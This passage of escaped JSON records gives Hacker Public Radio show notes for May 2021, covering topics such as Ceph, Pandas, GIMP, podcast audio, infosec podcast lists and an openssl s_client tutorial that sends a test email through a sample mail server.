                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Booth kit update

                                                            \n

                                                            The FSF Europe have sent us a selection of stickers and leaflets to add to our booth kit(s).

                                                            \n

                                                            Posting Anonymously

                                                            \n
                                                              \n
                                                            • HPR supports anonymous posting\n
                                                            • \n
                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            The project to upload the older HPR shows to archive.org has been quiescent for a few years. The shows between 1 and 870 had not been uploaded prior to April 2021 (though some shows had been uploaded in batches in the early days, without notes etc).

                                                            \n

                                                            However, this old show project has been restarted this month, after new software had been written to help manage the process. At the time of writing 65 shows in the range 1-870 have been uploaded, with notes, and with the same range of audio formats used for current shows.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the two projects are now tied together. So we will be all the more welcoming of tag and summary updates sent to the address referenced in the next section!

                                                            \n

                                                            The plan is to report the numbers uploaded each month in the AOB section of the Community News show notes.

                                                            \n

                                                            HPR shows on archive.org have the URL https://archive.org/details/hprXXXX where XXXX is the show number with leading zeroes. So for example, show 840's URL is: https://archive.org/details/hpr0840.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nDave Morriss, Windigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 23 shows which were without them.

                                                            \n

                                                            There are now 384 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3327,"date":"2021-05-04","title":"Looking into Ceph storage solution","duration":818,"summary":"We look into what a Ceph implementation entails, what specific use-cases it excels at. ","notes":"

                                                            We look into what a Ceph implementation entails, what specific use-cases it excels at.

                                                            \n

                                                            And we also talk about the building blocks of the system. What kind of hosts is required for different Ceph daemons and the requirements regarding disk space, CPU, and memory.

                                                            \n

                                                            The services we are talking about are OSD (Object storage daemon), Monitors, Managers, and MDS (MetaData Services).

                                                            \n

                                                            Ceph can be used as an S3 compatible object store, disk storage, and even a file system, depending on your setup.

                                                            \n

                                                            If you are interested in diving deeper into the topic, I have created a couple of videos on the subject that might interest you.

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ceph, storage solution, amazon s3","version":0,"downloads":0,"valid":1}, {"id":3328,"date":"2021-05-05","title":"Pandas Part 2","duration":719,"summary":"Enigma continues his discussion about his favorite Python module Pandas","notes":"

                                                            \nPart two in the For the Love of Data series. Enigma covers part 2 of Pandas
                                                            \nThe following topics are discussed
                                                            \n
                                                            \n1) Another way to apply a condition to a field
                                                            \n2) Creating a DataFrame from a dictionary
                                                            \n3) Appending a data frame with another DataFrame
                                                            \n4) Joining DataFrames with merge and join
                                                            \n5) Writing an output to csv
                                                            \n
                                                            \n Part 2 Sample code \n
                                                            \nFollow me on twitter @Ed_N1gma
                                                            \n
                                                            \nCome chat on irc.freenode.net #hackerexchange\n

                                                            ","hostid":39,"series":38,"explicit":0,"license":"CC-BY-SA","tags":"python, pandas, Data, Data Science","version":0,"downloads":0,"valid":1}, {"id":3329,"date":"2021-05-06","title":"Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panel","duration":5069,"summary":"An eclectic panel of Linux contributors discuss technology, anger management and other things","notes":"

                                                            In this episode, our two ageing heroes host an eclectic panel of kernel\ncontributors of a small, mostly unknown operating system called \"Linux\".\nThe panelists hail from all over the planet (sadly, no money or love would\nbuy Richard's or Linus' way onto that panel :-) but the discussion proves\nmore than interesting regardless of these uber-nerds being absent. All\nwill be revealed including the true age of Linux, one of Chris' secret\nobsessions (hint: it's not software bugs), Linus Torvald's thought process\nand evolution as such. Never mind Linux's second future high-level\nprogramming language... Plus: a philosophical discussion of the social\nimpact of insulting from a pan-cultural perspective. Don't miss out on\nthis!

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux Kernel","version":0,"downloads":0,"valid":1}, {"id":3330,"date":"2021-05-07","title":"A Layer Mask Project","duration":934,"summary":"We apply our knowledge of Layer Masks to create a project.","notes":"

                                                            This tutorial has us applying our knowledge of Layer Masks in combination with some other tools to make an image. We start with a photograph, and transform it into something very different, as a way to practice our GIMP skills.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layers, Layer Masks","version":0,"downloads":0,"valid":1}, {"id":3331,"date":"2021-05-10","title":"Audio for Podcasting: Episode 1 - The Microphone","duration":1399,"summary":"Thaj shares tips and tricks on producing quality audio for HPR episodes","notes":"

                                                            The first in a series of episodes concerning recording and audio quality. For this episode I focus on the beginning of the signal chain, the microphone. Tips on choosing a microphone, and how to use it to get the sound you want.

                                                            \n\n","hostid":270,"series":45,"explicit":1,"license":"CC-BY-SA","tags":"audio production, microphones, audio quality","version":0,"downloads":0,"valid":1}, {"id":3332,"date":"2021-05-11","title":"My current Devices","duration":642,"summary":"A short list of tablets and phones that I am using these Days","notes":"

                                                            Sadly no Opensource hand held devices these days.
                                                            \nBut Android might count though.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tablet, Phone, kindle","version":0,"downloads":0,"valid":1}, {"id":3333,"date":"2021-05-12","title":"My TV Stand devices and Pine64.org","duration":1408,"summary":"About my TV devices - TV Stand & Pine64","notes":"

                                                            About Pine64

                                                            \n
                                                            \n
                                                            \n
                                                            None of us is as smart as all of us
                                                            \n
                                                            Ken H. Blanchard\n
                                                            \n
                                                            \n
                                                            \n

                                                            At the core of our philosophy is the notion that PINE64 is a community platform. A simplistic point of view, often offered up and referenced online, is that ‘PINE64 does hardware while the community does the software’. While this depiction is not inaccurate, it is also a gross oversimplification. The fact that PINE64 is community driven doesn’t simply entail a one-way reliance on the community or partner projects for software support; it means that the community gets to actively shape the devices, as well as the social platform, of PINE64 from the ground up. The goal is to deliver ARM64 devices that you really wish to engage with and a platform that you want to be a part of. As such, the community – PINE64 – and the company PINE Microsystems Inc. are interlocked and intertwined, but separate entities.

                                                            \n

                                                            What does it mean in practice then? It means that we usually announce what we’re working on well ahead of the shipping date – many months before a device is released – so that you have plenty of time to request product features, suggest changes, ask for/make changes to documentation, etc. before the first iteration of the device rolls of the factory line. It also means that the hardware developments – successes and failures alike – are all in the open. You can follow the process on our forum, the IRC, Discord, Matrix, Telegram the online conversations log and, in some instances, on our partner projects forums. But it also means that anyone who is a part of the community gets to shape anything related to the PINE64 project – including the Wiki or this website – and so, software development is only one area where you can contribute your time and skill. In return for time investment, the community gets fair priced devices that developers wish to spend their time on.

                                                            \n

                                                            Last, but not least, is our belief in supporting existing SoCs for long periods of time as well as actively developing new devices based on those SOCs. What does this mean for developers then? It means that a developer can start developing software on a PINE64 SBC and, in time, support multiple devices with relative ease. This device convergence is, at the time of writing, most pronounced on the Allwinner A64 SOC used in a number of our devices including the: PINE64-LTS, SOPine, Pinebook and Pinetab. That said, similar convergence is also planned for the Rockchip RK3399, currently used on the RockPro64 and in the Pinebook Pro.

                                                            \n

                                                            You can always find us in the chats or the forum, so if you have any further questions make sure to drop by and ask about how the PINE64 project actually works.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tablet, phone, desktop, windows, pine64, pinetime","version":0,"downloads":0,"valid":1}, {"id":3334,"date":"2021-05-13","title":"Infosec Podcasts Part 2 - General Information Security","duration":520,"summary":"Presenting my favorite general information security podcasts","notes":"

                                                            Inoffensive in every region of the world

                                                            \n

                                                            Hello, again. My name is Trey. This is part 2 of a 6 part series related to information security podcasts.

                                                            \n

                                                            To recap Why am I recording this series?

                                                            \n

                                                            \"What podcasts you listen to\" was on the list of recommended topics

                                                            \n

                                                            I am passionate about information security

                                                            \n

                                                            We desperately need people to fill infosec jobs in many different specialties

                                                            \n

                                                            Infosec is a rapidly changing field, and it is critical to stay current

                                                            \n

                                                            As a result I listen to TONS of infosec related podcasts

                                                            \n

                                                            Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 – News & Current Events
                                                            • \n
                                                            • Part 2 – General Information Security
                                                            • \n
                                                            • Part 3 - Career & Personal Development
                                                            • \n
                                                            • Part 4 – Social Engineering
                                                            • \n
                                                            • Part 5 -\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                            • \n
                                                            • Part 6 – Infosec Leadership
                                                            • \n
                                                            \n

                                                            Part 2

                                                            \n
                                                              \n
                                                            • General Information Security
                                                              \nCaveat – Dave Bittner & Ben Yelin (Weekly)
                                                              \nWeekly discussion of cybersecurity law and policy, with a particular focus on surveillance and digital privacy
                                                              \nhttps://thecyberwire.com/podcasts/caveat.html

                                                            • \n
                                                            • Defense in Depth - David Spark & Guests (Weekly)
                                                              \nWeekly podcast digging deeper into a currently trending infosec topic
                                                              \nhttps://cisoseries.com/subscribe-podcast/

                                                            • \n
                                                            • Recorded Future - Dave Bittner & Recorded Future (Weekly)
                                                              \nA weekly podcast about practical applications of security intelligence
                                                              \nhttps://www.recordedfuture.com/resources/podcast/

                                                            • \n
                                                            • Brakeing Down Security - Bryan Brake, Brian Boettcher, and Amanda Berlin (Weekly)
                                                              \nA weekly discussion of current infosec topics and events
                                                              \nCovers concepts that aspiring Information Security Professionals need to know, or refresh the memories of the seasoned veterans.
                                                              \nhttps://www.brakeingsecurity.com/

                                                            • \n
                                                            • Down the Security Rabbit Hole - Rafal Los (Weekly)
                                                              \nA weekly interview based podcast discussing various challenges of implementing infosec
                                                              \nhttps://podcast.wh1t3rabbit.net/

                                                            • \n
                                                            • Security Weekly Podcast Network - Network of shows with various hosts
                                                              \nA collection of podcasts including: Paul's Security Weekly, Enterprise Security Weekly, Business Security Weekly, Application Security Weekly, Security & Compliance Weekly, Security Weekly News, Tradecraft Security Weekly, & Secure Digital Life. Interesting and diverse discussions.
                                                              \nWarning: Discussions sometimes promote the consumption of alcohol and smoking cigars
                                                              \nThese podcasts are long
                                                              \nhttps://securityweekly.com/

                                                            • \n
                                                            • Security Stories - Cisco with Hazel Burton, Ben Nahorney, & Noureen Njoroge (Weekly)
                                                              \nA unique weekly interview-based podcast by sponsored by Cisco focusing on infosec stories
                                                              \nhttps://www.cisco.com/c/en/us/products/security/securitystories.html

                                                            • \n
                                                            • The Confident Defense Podcast - Conor Sherman (Weekly)
                                                              \nInterviews with influential and inspirational people in all areas of security
                                                              \nhttps://linktr.ee/ConfidentDefense

                                                            • \n
                                                            • Open Source Security Podcast - Kurt Seifried & Josh Bressers (Weekly)
                                                              \nLighthearted discussions of information security topics related to open source
                                                              \nhttps://opensourcesecurity.io/category/podcast/

                                                            • \n
                                                            \n

                                                            See? I told you I listen to lots of podcasts!

                                                            \n

                                                            I hope that this episode has introduced you to some new sources of information. Give some of them a try, and I would love to get your feedback.

                                                            \n

                                                            The next episode will be about Information Security Careers & Personal Development

                                                            \n

                                                            Thank you for listening.

                                                            \n","hostid":394,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"infosec, podcasts, security","version":0,"downloads":0,"valid":1}, {"id":3335,"date":"2021-05-14","title":"For your consideration, the Anarcho Book Club","duration":1348,"summary":"This is an example of the podcast that was featured on GNU World Order","notes":"","hostid":30,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"Anarcho Book Club,anarchism,gnuWorldOrder,gwo","version":0,"downloads":0,"valid":1}, {"id":3336,"date":"2021-05-17","title":"2020-2021 New Years Eve Show Episode 1","duration":6241,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio show

                                                            \n

                                                            It is December the 31st 2020 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.

                                                            \n\n
                                                            Podcast_________________Last_Active_Date\nBoston Bruins ......... ????\nTheTechieGeek ......... 2013-12-27\nDudmanovi ............. 2016-04-09\nGeeks With Guns ....... 2014-04-26\nledgerthecat .......... ????\nLinux Basix ........... 2014-01-29\nLinuXburg ............. 2019-08-16\nmintCast .............. Active\nNoll Tech Show ........ ????\nNollCraft ............. ????\nOpen Source Musician .. 2015-02-17\nPodBrewers ............ 2016-03-02\nPodnutz ............... Active\nRevUnity .............. ????\nScannerDrome .......... 2020-05-01\nSMLR .................. Active\nThePythonExperiment ... ????\nUnseenStudio .......... Active
                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3337,"date":"2021-05-18","title":"I like that the boat is stuck","duration":527,"summary":"A dramatic reading of a work by Gailey","notes":"

                                                            The episode is released under a Attribution-NonCommercial-NoDerivs 3.0 Unported (CC BY-NC-ND 3.0). HPR has been given non-exclusive rights to create and distribute audio narration with kind permission of the Author. For clarity, permission has not been granted for derivative works, commercial or otherwise, to be created from this narration. This license only applies to the audio narration, not the print version of the essay.

                                                            \n

                                                            I found this piece really fascinating and I like that you can take a huge problem and still consider it simple. It puts a lot of other problems into perspective and I like how this piece is written.

                                                            \n

                                                            https://stone-soup.ghost.io/archive/i-like-that-the-boat-is-stuck/

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-NC-ND","tags":"news, boat, stuck","version":0,"downloads":0,"valid":1}, {"id":3338,"date":"2021-05-19","title":"Using openssl s_client like telnet","duration":1189,"summary":"OpenSSL s_client is the new telnet. Here is how to use it.","notes":"

                                                            \nConnect to port 443 and send some HTTP signals:\n

                                                            \n\n
                                                            \n$ openssl s_client -connect example.com:443\n    [...snip...]\n    Verify return code: 0 (ok)\n    Extended master secret: no\n    Max Early Data: 0\n---\n
                                                            \n\n

                                                            \nYou're now connected. If you wait too long, your connection will likely time out.\nView the default landing page of the site you've connected with:\n

                                                            \n\n
                                                            \nGET / HTTP/1.1\nHOST: example.com\n
                                                            \n\n

                                                            \nIn return, you get a dump of the HTML source of the default page (usually index.html) in your terminal.\n

                                                            \n\n

                                                            \nYou can also use OpenSSL s_client for email servers using SSL.\nBefore you can send credentials, you must encode your email username and passphrase into Base64. The easiest method I know is this Perl one-liner:\n

                                                            \n\n
                                                            \n$ perl -MMIME::Base64 -e 'print encode_base64(\"myUserName\");'\n$ perl -MMIME::Base64 -e 'print encode_base64(\"myPassPhrase\");'\n
                                                            \n\n

                                                            \nTake note of the results.\n

                                                            \n\n

                                                            \nThe s_client session, aside from authentication, is basically the same as a telnet session. You can find good telnet tutorials all over the Internet, and aside from sending your credentials, they apply to s_client.\n

                                                            \n\n

                                                            \nHere's a copy-paste of an example session:\n

                                                            \n\n
                                                            \n$ openssl s_client -starttls smtp -connect email.example.com:587\n> ehlo example.com\n> auth login\n##paste your user base64 string here####\n##paste your password base64 string here####\n\n> mail from: noreply@example.com\n> rcpt to: admin@example.com\n> data\n> Subject: Test 001\nThis is a test email.\n.\n> quit\n
                                                            \n","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"telnet, openssl","version":0,"downloads":0,"valid":1}, {"id":3339,"date":"2021-05-20","title":"Linux Inlaws S01E30: Politicians and artificial intelligence part 2","duration":3453,"summary":"Part 2 of the miniseries on Deep Learning, politicians and other approaches to intelligence (or not)","notes":"

                                                            After successfully navigating through the shallow (or not-so-shallow) depths of the first episode on deep learning fundamentals, our two heroes tackle a more concrete topic in this episode: How to use the damn stuff! No expenses will be spared to bring to the listeners the finer details of tensors, TensorFlow and other frameworks which serve as the basis for modern artificial intelligence / machine learning applications running on back-propagation networks (see the first episode on the foundations). Lifting the curtain even more, all will be revealed about a little corner shop called \"Google\" (well, almost all :-).\n

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Policitians, artificial intelligence, deep learning","version":0,"downloads":0,"valid":1}, {"id":3340,"date":"2021-05-21","title":"Hacked?","duration":603,"summary":"People commonly say that their own, or someone else's, Facebook has been hacked.","notes":"

                                                            As someone who has reasons to be on Facebook, I have gotten used to seeing people warn that their account was hacked, and we should not accept friend requests from them. It is so common that you would wonder if Facebook had no security at all. But the truth is something different, and worth knowing about.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Facebook, scams","version":0,"downloads":0,"valid":1}, {"id":3341,"date":"2021-05-24","title":"Linux on a serial Terminal - And Jorome's MainFrame Challenge","duration":314,"summary":"My experiment with Getty and A Getty Ansi - And wanting to have a Serial Terminal Mainframe","notes":"

                                                            Well its bit of challenge for Jerome to teach me how to do a Mainframe on a PI with serial terminal. I started the project using a old HPE 700/96 terminal amber. I used this site as my prime info.
                                                            \nhttps://www.cyberciti.biz/hardware/5-linux-unix-commands-for-connecting-to-the-serial-console/

                                                            \n
                                                              \n
                                                            • First is seeing if you have a serial port
                                                            • \n
                                                            \n
                                                                dmesg | egrep --color 'serial|ttyS'
                                                            \n
                                                              \n
                                                            • Then install getty if its not there
                                                            • \n
                                                            • Then add your config line to /etc/gettydefs
                                                            • \n
                                                            • Then make work if you reboot.
                                                            • \n
                                                            • The do report
                                                            • \n
                                                            • Then you have the log in prompt on the terminal
                                                            • \n
                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Terminal, Mainframe, Raspberry PI","version":0,"downloads":0,"valid":1}, {"id":3342,"date":"2021-05-25","title":"2020-2021 New Years Eve Show Episode 2","duration":3672,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • heated roads and driveways

                                                            • \n
                                                            • talking about distilling spirits

                                                            • \n
                                                            • geek talk

                                                            • \n
                                                            • single board computers

                                                            • \n
                                                            ","hostid":159,"series":121,"explicit":0,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3343,"date":"2021-05-26","title":"The Forth programming language","duration":761,"summary":"A less than complete history of Forth","notes":"\n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming, history","version":0,"downloads":0,"valid":1}, {"id":3344,"date":"2021-05-27","title":"Infosec Podcasts Part 3 - Infosec Career and Personal Development","duration":366,"summary":"Presenting my favorite podcasts related to information security careers and growth","notes":"

                                                            Inoffensive in every region of the world

                                                            \n

                                                            Infosec Podcasts Part 3 – Infosec Career & Personal Development

                                                            \n

                                                            Why am I recording this series?

                                                            \n

                                                            \"What podcasts you listen to\" was on the list of recommended topics

                                                            \n

                                                            I am passionate about information security

                                                            \n

                                                            We desperately need people to fill infosec jobs in many different specialties

                                                            \n

                                                            Infosec is a rapidly changing field, and it is critical to stay current

                                                            \n

                                                            As a result I listen to TONS of infosec related podcasts

                                                            \n

                                                            Because there are so many podcasts to list, I will break them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 - News & Current Events
                                                            • \n
                                                            • Part 2 - General Information Security
                                                            • \n
                                                            • Part 3 - Career & Personal Development
                                                            • \n
                                                            • Part 4 - Social Engineering
                                                            • \n
                                                            • Part 5 -\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                            • \n
                                                            • Part 6 - Infosec Leadership
                                                            • \n
                                                            \n

                                                            Part 3

                                                            \n

                                                            Career & Personal Development

                                                            \n
                                                              \n
                                                            • Getting into Infosec - Ayman Elsawah (Monthly)
                                                              \nWas a monthly podcast, but the last recorded episode dropped February 2021
                                                              \nStories of how Infosec and Cybersecurity pros got jobs in the field so you can be inspired, motivated, and educated on your journey
                                                              \nhttps://gettingintoinfosec.com/

                                                            • \n
                                                            • Infosec Career Podcast – Jason Wood (Discontinued March 2020)
                                                              \nInterviews with infosec professionals discussing their career journeys
                                                              \nhttps://infoseccareer.libsyn.com/

                                                            • \n
                                                            • Cyber Security Interviews – Douglas Brush (Bi-weekly)
                                                              \nA weekly interview based podcast with top cyber security professionals discussing how they got where they are and their perspectives on the industry
                                                              \nhttps://cybersecurityinterviews.com/

                                                            • \n
                                                            • Humans of Infosec - Caroline Wong & Mike Shema (Bi-weekly)
                                                              \nA weekly podcast interviewing people from diverse backgrounds involved in infosec.
                                                              \nhttps://soundcloud.com/humans-of-infosec

                                                            • \n
                                                            • Hacker Valley Studio – Chris Cochran & Ron Eddings (Weekly)
                                                              \nDiscussions of personal growth and maturity within Infosec & life
                                                              \nhttps://hackervalley.com/

                                                            • \n
                                                            • We Hack Purple – Tanya Janka (Weekly)
                                                              \nInterview based podcast discussing various infosec careers with a diverse array of guests
                                                              \nhttps://wehackpurple.com/podcast.html

                                                            • \n
                                                            \n","hostid":394,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"infosec, podcasts, security","version":0,"downloads":0,"valid":1}, {"id":3345,"date":"2021-05-28","title":"Audio for Podcasting: Episode 2 - Equalization","duration":965,"summary":"Thaj shares tips and tricks on producing quality audio for HPR episodes","notes":"

                                                            In this episode we discuss equalization in order to improve our audio quality for podcasting. We will use Audacity to manipulate our equalization.

                                                            \n

                                                            The best method of achieving this is to use the Graphic EQ plugin. To use this select the audio you wish to process, then use the \"Effect\" menu to select the Graphic EQ plugin.

                                                            \n

                                                            \"The \"An \"An

                                                            ","hostid":270,"series":45,"explicit":1,"license":"CC-BY-SA","tags":"audio production, equalization, audio quality","version":0,"downloads":0,"valid":1}, {"id":3346,"date":"2021-05-31","title":"2020-2021 New Years Eve Show Episode 3","duration":10488,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3347,"date":"2021-06-01","title":"Ethical Analysis of Renewable Energy and Conservation","duration":904,"summary":"I read a paper I wrote about the ethical issues of renewable energy and conservation efforts.","notes":"

                                                            Original essay:

                                                            \n

                                                            https://hackerpublicradio.org/eps/hpr3347/hpr3347/ethical_analysis_of_renewable_energy_and_conservation.pdf

                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            • Bedard, Paul (2010, March 23). High Energy Costs for the Poor Might Push Action in Congress. Washington Whispers, U.S. News, Sunday, April 11, 2010 https://www.usnews.com
                                                            • \n
                                                            • Colton, Roger D. (1994, July/August). Energy and Low-Income Housing: Part I Energy Policy Hurts The Poor. NHI Shelterforce. Issue #76. Retrieved from https://www.nhi.org
                                                            • \n
                                                            • Ellen (2008, October 4). Poverty and Crime [Web log message], retrieved from Defining Canada, https://www.definingcanada.ca
                                                            • \n
                                                            • Fellegi, Ivan P. (1997, September). On poverty and low income, retrieved March 31, 2010 from Statistics Canada web site, https://www.statcan.gc.ca/pub/13f0027x/13f0027x1999001-eng.htm
                                                            • \n
                                                            • Minu (2010, April 2). Lamps | Compact Fluorescent Lamps (CFL) [Web log message]. Retrieved from House Construction in India, https://houseconstructionindia.blogspot.com
                                                            • \n
                                                            • Patel, Julie (2010, March 11). NAACP and FPL: Saving too much energy hurts the poor [web log message], Retrieved from SunSentinel.com, https://weblogs.sun-sentinel.com
                                                            • \n
                                                            • Smith, Adam (1776). An Inquiry into the Nature And Causes of the Wealth of Nations. Public domain.
                                                            • \n
                                                            • Toohey, Marty (2009, September 21). Advocates concerned Austin Energy plans will hurt poor, elderly. statesman.com. Retrieved from www.statesman.com
                                                            • \n
                                                            • Walsh, Bryan (2009, February 17). Building Green Houses for the Poor. Time. Retrieved from https://www.time.com.
                                                            • \n
                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ethics,renewable,energy,poverty,solar,wind,conservation,green","version":0,"downloads":0,"valid":1}, {"id":3348,"date":"2021-06-02","title":"Feedback on the Article by hedorah about HPR","duration":4420,"summary":"Join the policy discussions on the mail list","notes":"

                                                            hedorah posted an article https://foxacid.se/hedorah/posts/hpr/, and we read out the mail thread that resulted https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/014931.html","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR, policy decisions","version":0,"downloads":0,"valid":1}, {"id":3349,"date":"2021-06-03","title":"Linux Inlaws S01E31: Interview with Paul Ramsey FOSS aficionado and entrepreneur","duration":3923,"summary":"An interview with Paul Ramsey, FLOSS entrepreneur and OpenGeo fame","notes":"

                                                            \nIn this episode the inlaws host Paul Ramsey of OpenGeo fame. Apart from his PostgreSQL contributions,\nPaul is probably best known for GIS work and geo DB contributions in general (in addition to\noff-the-beaten track stuff like URL of his website among other things). Don't miss this for nuggets\non geo databases and beyond!\n

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"PostgreSQL,PostGIS","version":0,"downloads":0,"valid":1}, {"id":3350,"date":"2021-06-04","title":"Blending Layers","duration":1321,"summary":"GIMP has a number of ways you can blend layers together","notes":"

                                                            This tutorial begins our discussion of how you can blend entire layers in GIMP, starting with changing the opacity of layers, then moving into Layer Modes, which use mathematical functions to allow more complex combinations to achieve certain effects. We discuss the mathematics as a background to more discussion in subsequent tutorials of the specific Layer Modes.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layers, Layer Modes, Opacity","version":0,"downloads":0,"valid":1}, {"id":3351,"date":"2021-06-07","title":"HPR Community News for May 2021","duration":3956,"summary":"The HPR Matrons are doing the rounds.","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3326Mon2021-05-03HPR Community News for April 2021HPR Volunteers
                                                            3327Tue2021-05-04Looking into Ceph storage solutionDaniel Persson
                                                            3328Wed2021-05-05Pandas Part 2Enigma
                                                            3329Thu2021-05-06Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panelmonochromec
                                                            3330Fri2021-05-07A Layer Mask ProjectAhuka
                                                            3331Mon2021-05-10Audio for Podcasting: Episode 1 - The MicrophoneThaj Sara
                                                            3332Tue2021-05-11My current DevicesJWP
                                                            3333Wed2021-05-12My TV Stand devices and Pine64.orgJWP
                                                            3334Thu2021-05-13Infosec Podcasts Part 2 - General Information SecurityTrey
                                                            3335Fri2021-05-14For your consideration, the Anarcho Book ClubKen Fallon
                                                            3336Mon2021-05-17HPR 2020 - 2021 New Years Eve Show Episode 1Honkeymagoo
                                                            3337Tue2021-05-18I like that the boat is stuckDaniel Persson
                                                            3338Wed2021-05-19Using openssl s_client like telnetklaatu
                                                            3339Thu2021-05-20Linux Inlaws S01E30: Politicians and artificial intelligence part 2monochromec
                                                            3340Fri2021-05-21Hacked?Ahuka
                                                            3341Mon2021-05-24Linux on a serial Terminal - And Jorome's MainFrame ChallengeJWP
                                                            3342Tue2021-05-25HPR 2020 - 2021 New Years Eve Show Episode 2Honkeymagoo
                                                            3343Wed2021-05-26The Forth programming languageBrian in Ohio
                                                            3344Thu2021-05-27Infosec Podcasts Part 3 - Infosec Career and Personal DevelopmentTrey
                                                            3345Fri2021-05-28Audio for Podcasting: Episode 2 - EqualizationThaj Sara
                                                            3346Mon2021-05-31HPR 2020 - 2021 New Years Eve Show Episode 3Honkeymagoo
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 12 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2499\n(2018-03-01) \"Tuning around the HF 40Mtr band\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nDave (thelovebug) on 2021-05-19:\n\"Coming to this late, but wow!\"
                                                              • \n
                                                              • \nComment 4:\nMrX on 2021-05-29:\n\"Re: Coming to this late, but wow!\"

                                                              \n
                                                            • hpr3297\n(2021-03-23) \"Nextcloud Application Updating\"\nby ToeJet.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nychaouche on 2021-05-02:\n\"safe ?\"

                                                              \n
                                                            • hpr3317\n(2021-04-20) \"Reading a manifesto: Towards A Cooperative Technology Movement\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nAaron C on 2021-05-01:\n\"Raises an excellent point\"

                                                              \n
                                                            • hpr3324\n(2021-04-29) \"Infosec Podcasts Part 1 News and Current Events \"\nby Trey.
